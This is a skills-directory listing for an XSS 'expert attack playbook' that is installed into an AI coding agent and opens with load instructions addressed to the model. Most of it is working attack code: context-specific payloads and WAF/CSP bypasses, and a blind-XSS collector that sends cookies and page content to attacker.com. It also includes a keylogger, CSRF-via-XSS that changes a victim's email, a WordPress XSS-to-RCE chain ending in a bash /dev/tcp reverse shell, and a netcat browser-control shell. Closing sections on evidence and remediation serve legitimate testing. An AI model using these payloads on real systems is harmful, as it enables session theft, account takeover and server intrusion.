Skip to content
Back to skills

Xss Cross Site Scripting

ASecurity

XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
developmentjavascriptpythonrustgojavaphpshellbashreactvue

Works with

  • cli
  • api

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill xss-cross-site-scripting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Xss Cross Site Scripting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Xss Cross Site Scripting
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-xss-cross-site-scripting/badge)](https://www.skillsdirectory.com/skills/harezadmm-xss-cross-site-scripting)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: xss-cross-site-scripting
description: >-
  XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
---

# SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows `<script>alert(1)</script>` — this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion [SCENARIOS.md](./SCENARIOS.md).

## 0. RELATED ROUTING

### Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
- UTF-7 XSS for legacy IE environments (`+ADw-script+AD4-`)
- HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
- XS-Leaks side channel attacks — timing oracle, cache probing, `performance.now()` measurement
- Session fixation via XSS — pre-set session ID before victim login
- DOM clobbering techniques for CSP-restricted environments

### Advanced Tricks

Also load [ADVANCED_XSS_TRICKS.md](./ADVANCED_XSS_TRICKS.md) when you need:
- mXSS / DOMPurify bypass — namespace confusion, `<noscript>` parsing differential, form/table restructuring
- DOM Clobbering — property override via `id`/`name`, HTMLCollection, deep property chains
- Modern framework XSS — React `dangerouslySetInnerHTML`, Vue `v-html`, Angular `bypassSecurityTrust*`, Next.js SSR
- Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
- Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
- PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
- XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle

Before broad payload spraying, you can first load:

- [upload insecure files](../upload-insecure-files/SKILL.md) when you need the full upload path: validation, storage, preview, and sharing behavior

### Quick context picks

| Context | First Pick | Backup |
|---|---|---|
| HTML body | `<svg onload=alert(1)>` | `<img src=1 onerror=alert(1)>` |
| Quoted attribute | `" autofocus onfocus=alert(1)//` | `" onmouseover=alert(1)//` |
| JavaScript string | `'-alert(1)-'` | `'</script><svg onload=alert(1)>` |
| URL / href sink | `javascript:alert(1)` | `data:text/html,<svg onload=alert(1)>` |
| Tag body like `title` | `</title><svg onload=alert(1)>` | `</textarea><svg onload=alert(1)>` |
| SVG / XML sink | `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>` | XHTML namespace payload |

```html
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
```

---

## 1. INJECTION CONTEXT MATRIX

Identify context **before** picking a payload. Wrong context = wasted attempts.

| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | `<b>INPUT</b>` | `<svg onload=` | `<svg onload=alert(1)>` |
| HTML attribute value | `value="INPUT"` | `"` close attr | `"onmouseover=alert(1)//` |
| Inline attr, no tag close | Quoted, `>` stripped | Event injection | `"autofocus onfocus=alert(1)//` |
| Block tag (title/script/textarea) | `<title>INPUT</title>` | Close tag first | `</title><svg onload=alert(1)>` |
| href / src / data / action | link or form | Protocol | `javascript:alert(1)` |
| JS string (single quote) | `var x='INPUT'` | Break string | `'-alert(1)-'` or `'-alert(1)//` |
| JS string with escape | Backslash escaping | Double escape | `\'-alert(1)//` |
| JS logical block | Inside if/function | Close + inject | `'}alert(1);{'` |
| JS anywhere on page | `<script>...INPUT` | Break script | `</script><svg onload=alert(1)>` |
| XML page (`text/xml`) | XML content-type | XML namespace | `<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>` |

---

## 2. MULTI-REFLECTION ATTACKS

When input reflects in **multiple places** on the same page — single payload triggers from all points:

```html
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>
```

---

## 3. ADVANCED INJECTION VECTORS

### DOM Insert Injection (when reflection is in DOM not source)
Input inserted via `.innerHTML`, `document.write`, jQuery `.html()`:
```html
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
```
For URL-controlled resource insertion:
```html
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
```

### PHP_SELF Path Injection
When URL itself is reflected in form `action`:
```
https://target.com/page.php/"><svg onload=alert(1)>?param=val
```
Inject between `.php` and `?`, using leading `/`.

### File Upload XSS

**Filename injection** (when filename is reflected):
```
"><svg onload=alert(1)>.gif
```

**SVG upload** (stored XSS via image upload accepting SVG):
```xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```

**Metadata injection** (when EXIF is reflected):
```bash
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
```

### postMessage XSS (no origin check)
When page has `window.addEventListener('message', ...)` without origin validation:
```html
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
```

### postMessage Origin Bypass
When origin IS checked but uses `.includes()` or prefix match:
```
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
```
Attacker controls `facebook.com.ATTACKER.com` subdomain.

### XML-Based XSS
Response has `text/xml` or `application/xml`:
```html
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
```

### Script Injection Without Closing Tag
When there IS a `</script>` tag later in the page:
```html
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>
```

---

## 4. CSP BYPASS TECHNIQUES

### JSONP Endpoint Bypass (allow-listed domain has JSONP)
```html
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
```

### AngularJS CDN Bypass (allow-listed `ajax.googleapis.com`)
```html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
```

### Angular Expressions (server encodes HTML but AngularJS evaluates)
When `{{1+1}}` evaluates to `2` on page — classic CSTI indicator:
```javascript
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
```

### base-uri Injection (CSP without base-uri restriction)
```html
<base href="https://attacker.com/">
```
Relative `<script src=...>` loads from attacker's server.

### DOM-based via Dangling Markup
When CSP blocks script but allows `img`:
```html
<img src='https://attacker.com/log?
```
Leaks subsequent page content to attacker.

---

## 5. FILTER AND WAF BYPASS

### Parameter Name Attack (WAF checks value not name)
When parameter names are reflected (e.g., in JSON output):
```
?"></script><base%20c%3D=href%3Dhttps:\mysite>
```
Payload is the **parameter name**, not value.

### Encoding Chains
```
%253C  → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
```
Test sequence: reflect → encoding behavior → identify filter logic → mutate.

### Tag Mutation (blacklist bypass)
```html
<ScRipt>  ← case variation
</script/x>  ← trailing garbage
<script  ← incomplete (relies on later >)
<%00iframe  ← null byte
<svg/onload=  ← slash instead of space
```

### Fragmented Injection (strip-tags bypass)
Filter strips `<x>...</x>`:
```
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
```

### Vectors Without Event Handlers
```html
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)>>
<math><brute href=javascript:alert(1)>click
```

---

## 6. SECOND-ORDER XSS

**Definition**: Input is stored (often normalized/HTML-encoded), then later **retrieved** and inserted into DOM without re-encoding.

**Classic trigger payload** (bypasses immediate HTML encoding):
```
<svg/onload&equals;alert(1)>
```
Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).

**Stored → Admin context XSS**: most impactful — sign up with crafted username, wait for admin to view user list.

---

## 7. BLIND XSS METHODOLOGY

Every parameter that is **not immediately reflected** should be tested for blind XSS:
- Contact forms, feedback fields
- User-agent / referer  
- Registration fields
- Error log injections

**Blind XSS callback payload** (remote JS file approach):
```html
"><script src=//attacker.com/bxss.js></script>
```

**Minimal collector** (hosted at `bxss.js`):
```javascript
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
```

Use **XSS Hunter** or similar blind XSS platform for automated collection.

---

## 8. XSS EXPLOITATION CHAIN

### Cookie Steal
```javascript
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
```

### Keylogger
```javascript
document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
```

### CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)
```javascript
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);
```

### WordPress XSS → RCE (admin session + Hello Dolly plugin):
```javascript
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
```

### Browser Remote Control (JS command shell)
```javascript
// Injected into victim:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
```
```bash
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
```

---

## 9. DECISION TREE

```
Test XSS entry point
├── Input reflected in response?
│   ├── YES → Identify context (HTML / JS / attr / URL)
│   │         → Select context-appropriate payload
│   │         → If blocked → check filter behavior
│   │         │   → Try encoding, case mutation, fragmentation
│   │         │   → Check if parameter NAME is reflected (WAF gap)
│   │         └── Success → escalate (cookie steal / CSRF / RCE)
│   └── NO  → Is it stored? → Inject blind XSS payload
│             Is it in DOM? → Check JS source for unsafe sinks
│                             (innerHTML, eval, document.write, location.href)
└── CSP present?
    ├── Check for JSONP endpoints on allow-listed domains
    ├── Check for AngularJS on CDN allow-list
    ├── Check for base-uri missing → <base> injection
    └── Check for unsafe-eval or unsafe-inline exceptions
```

---

## 10. XSS TESTING PROCESS (ZSEANO METHOD)

1. **Step 1** — Test non-malicious tags: `<h2>`, `<img>`, `<table>` — are they reflected raw?
2. **Step 2** — Test incomplete tags: `<iframe src=//attacker.com/c=` (no closing `>`) 
3. **Step 3** — Encoding probes: `<%00h2`, `%0d`, `%0a`, `%09`, `%253C`  
4. **Step 4** — If filtering `<script>` and `onerror` but NOT `<script ` (without close): `<script src=//attacker.com?c=`
5. **Step 5** — Blacklist check: does `<svg>` work? Does `<ScRiPt>` work?
6. Note: **the same filter likely exists elsewhere** — if they filter `<script>` in search, do they filter it in file upload filename? In profile bio?

**Key insight**: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.

---

## 11. CONFIRMING THE FINDING — EXECUTION, NOT REFLECTION

Reflected angle brackets are **not** XSS. The finding requires that the browser *parses and executes*
your payload in the target origin. That is a higher bar than "the server echoed my string", and it is
the bar triage applies.

| Step | Question | What it proves |
|---|---|---|
| 1 | Is the payload reflected **unencoded** into a renderable context? | the parser will see it as markup, not text |
| 2 | Does it **execute** — an alert, a `fetch`, a DOM mutation? | script execution in the origin |
| 3 | Which **context** — HTML body, attribute, JS string, URL, CSS? | fixes the exact escaping the app must add |
| 4 | Which **parser** — HTML, SVG, MathML, template? | some sanitisers miss non-HTML foreign content |
| 5 | Does it run in the **victim's authenticated session**? | origin privileges, not the tester's own session |
| 6 | What can it **reach** — `document.cookie`, CSRF token, `/api/me`? | the impact class: session theft vs defacement vs token exfil |

**Encoded reflection is a negative result.** `&lt;script&gt;` in the response body is the control
working. Report the payload that survived *unencoded* and executed — and state the context.

**Prove execution with a side effect you can observe server-side**: a callback to a listener you
control, a unique token appended to a request the page makes, or a DOM change captured with a
screenshot. `alert(1)` in your own browser is a technician's proof; the report needs a callback.

**Match severity to reach.** Stored/blind XSS that fires for an admin session is high or critical;
self-XSS that requires the victim to paste your payload is typically informational. The difference
is whether the attacker can *induce* execution, so document the delivery vector.

---

## 12. EVIDENCE STANDARD

| Item | Why |
|---|---|
| The **exact request** including the parameter and encoding used | the bypass is byte-exact; `%253C` and `<` are different findings |
| The **raw response** showing the payload unencoded in its context | proves the server emitted markup, not text |
| The **execution proof** (listener callback log, screenshot of DOM state, exfiltrated nonce) | separates execution from reflection — the single most important artefact |
| The **context and parser** (HTML body / attribute / JS string / SVG) | tells the fix owner precisely which encoder to add |
| The **delivery vector** for stored/blind (form, profile field, header, file name) and where it renders | proves an attacker can induce execution |
| For CSP claims: the **`Content-Security-Policy` header** and the payload that executes despite it | distinguishes a real CSP bypass from a missing CSP |
| **Negative control** — the same input with `<` properly encoded does not execute | proves the difference is the app's encoding failure |
| **Victim-privilege evidence** (admin session, exfiltrated CSRF token) | severity: stored-XSS-as-admin ≠ self-XSS |

Report the **context and the bypass**: "the `q` parameter is reflected unencoded inside an
`<input value=...>` attribute, and `" autofocus onfocus=fetch('//evil/'+document.cookie)` breaks out
because only `<` and `>` are filtered", never "the search page is vulnerable to XSS".

### False positives — do not report these

| Observation | Why it is not a finding |
|---|---|
| Payload appears in the response as text / HTML-encoded | the browser will not parse it as markup |
| Payload appears only inside a JSON response | not rendered as HTML in that context (check the consumer) |
| Payload executes in your own browser console, not via the app | self-XSS or devtools artefact |
| `alert(1)` fires but the page is a `sandbox`ed iframe without `allow-scripts` | no origin access |
| The reflection sits inside a `<textarea>` or `<title>` and does not break out | text context; needs the correct closing token |
| CSP blocks the payload — you only get a console violation report | the control is working; report a bypass only if one exists |
| Payload stripped by a sanitiser but the *encoded* form remains | sanitisation working as designed |
| Only `javascript:` in an `href` on a **`rel=noopener` new tab** that the victim must click | insufficient to prove execution; document the interaction requirement |

**Always confirm with the browser, not the response body.** A reflected `<script>` may be inside a
context that never executes.

---

## 13. REMEDIATION REFERENCE

1. **Context-aware output encoding, applied at the sink** — the fix is not a sanitiser at the input; it is the correct encoder at each output: HTML-entity for HTML body, attribute-value encoding including the surrounding quotes, JavaScript string escaping, URL encoding, CSS escaping. One payload can need three different encodings in one page.
2. **Never build markup by string concatenation with untrusted data** — use templating engines with autoescaping on by default (`Jinja2` autoescape, React's JSX, Go `html/template`) and treat any `|safe`, `dangerouslySetInnerHTML`, or `v-html` as a security-reviewed exception.
3. **Sanitise rich text with a maintained allowlist library, on the server** — DOMPurify (server-side via jsdom) or a vetted equivalent, configured with an explicit tag/attribute allowlist. A hand-written regex is defeated by the parser differentials in §3.
4. **Deploy CSP as defence-in-depth, not as the primary fix** — a nonce- or hash-based `script-src` with no `unsafe-inline` meaningfully raises the bar. `unsafe-inline`, `unsafe-eval`, and wildcard hosts reduce it to noise; do not report CSP as remediation if it contains them.
5. **Use `HttpOnly` and `SameSite` on session cookies** — narrows the classic cookie-theft impact to token-in-body theft. It does not fix XSS, but it changes what a successful XSS can take.
6. **Encode for the correct URL context** — in `href`/`src`, allowlist schemes (`https`, `mailto`) rather than relying on a denylist of `javascript:`; browser parsing of whitespace, entities, and control characters defeats naive denylists.
7. **Treat DOM sinks as server-side-equivalent vulnerabilities** — `innerHTML`, `outerHTML`, `document.write`, `insertAdjacentHTML`, `eval`, and `setTimeout(string)` must take no untrusted data; use `textContent` and `setAttribute`.
8. **Fix the client-side routing and `postMessage` handlers** — fragment-based sinks and unvalidated `message` origins turn a static page into a stored-XSS surface (DOM XSS); validate `event.origin` and never `eval` message data.
9. **Add `trusted-types` where the application is large** — it converts every DOM-sink assignment into a reviewable policy and catches the sinks static analysis misses.
10. **Scan and regression-test in CI** — run DOM and reflected XSS scanners against every build, plus unit tests asserting that each known payload from this file is encoded in the output. Fixed XSS regresses whenever a template or framework is upgraded.
11. **Reduce the blast radius for stored XSS** — isolate admin interfaces on separate origins, mark session cookies `HttpOnly`, require re-authentication for sensitive actions, and alert on anomalous outbound requests from authenticated sessions.

---

---

## 14. EXECUTION PRIMITIVES

XSS is proven by **script executing in a browser against the target's origin, with the encoded context
identified and the blocked control**. Every block ends at execution, not at reflection.

### 15.1 Establish the reflection and the encoding context

```bash
HOST="https://target.example"
# THE REFLECTION TEST: send a unique marker and find EVERY place it lands in the response
MARK="xss$(date +%s)"
curl -sS "$HOST/search?q=$MARK" -o /tmp/refl.html -D /tmp/refl.hdr
grep -o ".\{0,80\}$MARK.\{0,80\}" /tmp/refl.html | head -20
# THE CONTEXT: what wraps the marker decides the payload entirely
python3 - <<'PY'
import re
html = open("/tmp/refl.html").read()
m = re.search(r"(.{60})xss\d+(.{60})", html, re.S)
print("context around the reflection:")
print(m.group(0).replace("\n", " ") if m else "<not reflected>")
print()
print("classify:  in text  |  in an attribute  |  in a URL  |  in a script  |  in a comment")
print("the payload differs for each, and the wrong payload proves nothing")
PY
# THE ENCODED CONTROL: the same marker with the dangerous characters, which must be encoded
curl -sS "$HOST/search?q=%3Cscript%3E$MARK%3C%2Fscript%3E" | grep -o ".\{0,60\}$MARK.\{0,60\}" | head -5
```

**The context classification decides everything.** A payload for a text context does not work in an
attribute, and a report that sends `<script>alert(1)</script>` everywhere and declares the site safe is
the most common error in this family.

### 15.2 The payload per context

```python
# generate the payload from the CONTEXT, not from a list
CONTEXTS = {
  "html_text":        '"><img src=x onerror=alert(1)>' if False else '<img src=x onerror=alert(1)>',
  "double_attr":      '"><img src=x onerror=alert(1)>',
  "single_attr":      "'><img src=x onerror=alert(1)>",
  "unquoted_attr":    ' onmouseover=alert(1) x=',
  "href_javascript":  'javascript:alert(1)',
  "href_data":        'data:text/html,<script>alert(1)</script>',
  "script_string":    "';alert(1);//",
  "script_template":  "${alert(1)}",
  "json_value":       '\\u003cimg src=x onerror=alert(1)\\u003e',
  "comment":          '--><img src=x onerror=alert(1)><!--',
  "svg":              '<svg onload=alert(1)>',
  "noscript":         '</noscript><img src=x onerror=alert(1)>',
}
for k, v in CONTEXTS.items():
    print(f"{k:18} {v}")
print()
print("THE RULE: pick the entry matching the context you classified in 15.1. If it does not execute,")
print("the context is wrong - re-classify, do not try the next payload at random.")
```

**One payload per context, chosen deliberately.** Trying payloads until one fires produces a finding you
cannot explain, and an unexplainable finding is not reportable.

### 15.3 Execution detection, which must not depend on the alert box

```python
# a self-hosted collector is the only reliable execution signal; alert() is blocked in many clients
import http.server, socketserver, threading, random, string
TOKEN = "".join(random.choices(string.ascii_lowercase + string.digits, k=12))
hits = []

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if TOKEN in self.path:
            hits.append(self.path); print("EXECUTION CONFIRMED:", self.path[:200])
        self.send_response(200); self.send_header("Content-Type", "image/gif"); self.end_headers()
        self.wfile.write(b"GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;")
    def log_message(self, *a): pass

socketserver.TCPServer.allow_reuse_address = True
srv = socketserver.TCPServer(("0.0.0.0", 8000), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
print(f"collector on :8000, token {TOKEN}")
print(f"payload: <img src=x onerror=\"fetch('https://ATTACKER:8000/{TOKEN}?c='+encodeURIComponent(document.cookie))\">")
print("the collector entry is the execution proof; the alert box is not")
```

**The collector entry with your token is the execution proof.** `alert(1)` is blocked, stripped, or
unobserved in most test setups, and a screenshot of a dialog is weaker evidence than a logged request.

### 15.4 The three-way classification: raw, encoded, and executed

```bash
python3 - <<'PY'
import requests, re
HOST = "https://target.example"
MARK = "XSSM"

def probe(payload):
    r = requests.get(f"{HOST}/search", params={"q": payload}, timeout=10)
    raw = payload in r.text                                  # appears verbatim
    enc = ("&lt;" in r.text and payload in r.text) or ("&quot;" in r.text)
    dangerous = bool(re.search(r"<script|<img|<svg|onerror=|javascript:", r.text, re.I))
    return r.status_code, raw, dangerous, r.text[:200]

CASES = {
    "benign":            "hello",
    "plain_script":      f"<script>{MARK}</script>",
    "img_onerror":       f'<img src=x onerror="{MARK}">',
    "encoded_script":    f"&lt;script&gt;{MARK}&lt;/script&gt;",
    "double_encoded":    f"%253Cscript%253E{MARK}",
}
print("%-18s %-6s %-10s %-12s %s" % ("case", "code", "verbatim?", "dangerous?", "note"))
for k, v in CASES.items():
    c, raw, dang, _ = probe(v)
    note = "payload is live in the DOM" if raw and dang else ("encoded - safe" if not raw else "inspect")
    print("%-18s %-6s %-10s %-12s %s" % (k, c, raw, dang, note))
print()
print("A FINDING is: verbatim true AND dangerous true AND the collector fires when a browser loads it.")
print("Verbatim-without-dangerous is a partial encoding that may still be exploitable in another context.")
PY
```

**Verbatim plus the collector firing plus the context explained.** Reflection alone is not a finding, and
the encoded control row is what shows the filter is doing something.

### 15.5 Stored XSS, which needs extraction as well as execution

```bash
# the stored form requires a write, a read on a DIFFERENT page, and the collector firing THERE
MARK="xssstored$(date +%s)"
# 1) the write
curl -sS -X POST -H 'Content-Type: application/json' -H "Cookie: $SESSION" \
  -d "{\"comment\":\"<img src=x onerror=alert(1)>$MARK\"}" "$HOST/api/comments" | head -c 200; echo
# 2) the read on the page another user sees - this is where the storage becomes impact
curl -sS -H "Cookie: $OTHER_SESSION" "$HOST/thread/1" -o /tmp/stored.html
grep -c "$MARK" /tmp/stored.html
python3 -c "
h=open('/tmp/stored.html').read()
import re
m=re.search(r'.{60}'+r'xssstored\d+'+r'.{60}', h, re.S)
print('stored context:', m.group(0).replace(chr(10),' ') if m else '<not present>')"
# 3) the collector entry from the OTHER user's browser load is the proof
# and 4) the cleanup, verified
curl -sS -X DELETE -H "Cookie: $SESSION" "$HOST/api/comments/<id>" | head -c 120; echo
curl -sS -H "Cookie: $SESSION" "$HOST/api/comments/<id>" -o /dev/null -w 'deleted %{http_code} (404 expected)\n'
```

**The collector firing on another user's page load is the proof of stored XSS.** A marker present in your
own response is reflection; the cross-page load is stored, and the deletion is the cleanup.

### 15.6 The browser check, and why curl is not enough

```python
# the DOM can execute a payload curl never triggers: a framework that writes the value into innerHTML
# run the browser check with a headless browser and read the collector, not the console
print("Headless check, with the collector as the signal:")
print("""
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
    b = p.chromium.launch()
    pg = b.new_page()
    pg.goto("https://target.example/search?q=" + payload)
    pg.wait_for_timeout(3000)     # give the payload time to fetch the collector
    b.close()
# the finding is the collector entry, not the page content
""")
print()
print("Use the browser when: the sink is a DOM sink (innerHTML, document.write, eval),")
print("the payload requires a second navigation, or the app is a SPA that renders after load.")
print("A curl-only test MISSES every DOM-based XSS, which is the majority of modern cases.")
```

**A curl-only test misses every DOM XSS.** The report must state whether the confirmation used a browser,
because a DOM sink reached through `location.hash` never appears in any server response.

### 15.7 The end-to-end harness

```bash
python3 - <<'PY'
import re
print("For every candidate sink, record:")
for row in ["the URL and parameter (or the write endpoint for stored)",
            "the reflection context: text, attribute, URL, script, or comment",
            "the payload chosen for that context, and why",
            "whether the response contained it VERBATIM or encoded",
            "the encoded control's response, which proves the filter acts",
            "the collector hit: timestamp, token, and the page that loaded it",
            "the browser used (headless is acceptable; curl alone is not)",
            "the interaction required: none, a click, or a navigation",
            "for stored: the second page and the second session that loaded it",
            "the cleanup for stored: the delete request and the 404 verification"]:
    print("  -", row)
print()
print("A report row with no collector hit is a reflection, not an XSS. Remove it.")
PY
```

**Collector hit or remove the row.** This is the discipline the entire family reduces to.

---

## 15. RELATED SIBLINGS - LOAD TOGETHER

- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - the filter-level bypasses that precede execution
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) - what to do when the page carries a CSP
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) - the byte-level bypasses for an over-eager filter
- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) - the technique that needs no script at all
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) - this document

Files in this skill

  • ADVANCED_XSS_TRICKS.md9 KB
  • SCENARIOS.md8.8 KB
  • SKILL.md30.3 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.